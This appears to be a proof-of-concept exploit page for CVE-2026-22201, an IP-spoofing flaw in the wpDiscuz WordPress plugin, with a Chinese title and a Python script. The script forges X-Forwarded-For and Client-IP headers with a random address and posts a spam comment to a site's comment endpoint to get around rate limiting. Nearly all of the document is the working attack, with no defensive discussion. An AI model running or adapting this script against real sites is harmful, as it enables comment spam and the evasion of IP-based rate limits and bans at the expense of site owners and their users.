CVE-2026-22201 wpDiscuz getIP()函数IP欺骗漏洞绕过安全控制

import requests import random # CVE-2026-22201 PoC - IP Spoofing in wpDiscuz # Target: WordPress site with wpDiscuz plugin < 7.6.47 target_url = "https://target-site.com/wp-comments-post.php" # Generate random spoofed IP spoofed_ip = f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded', # Spoof the IP address via HTTP headers 'HTTP_X_FORWARDED_FOR': spoofed_ip, 'HTTP_CLIENT_IP': spoofed_ip, 'X-Forwarded-For': spoofed_ip, 'Client-IP': spoofed_ip } data = { 'comment_post_ID': '1', 'author': 'attacker', 'email': '[email protected]', 'comment': 'Spam comment to bypass rate limiting' } # Send request with spoofed IP response = requests.post(target_url, headers=headers, data=data) print(f"Spoofed IP: {spoofed_ip}") print(f"Response Status: {response.status_code}") print(f"Response: {response.text[:200]}")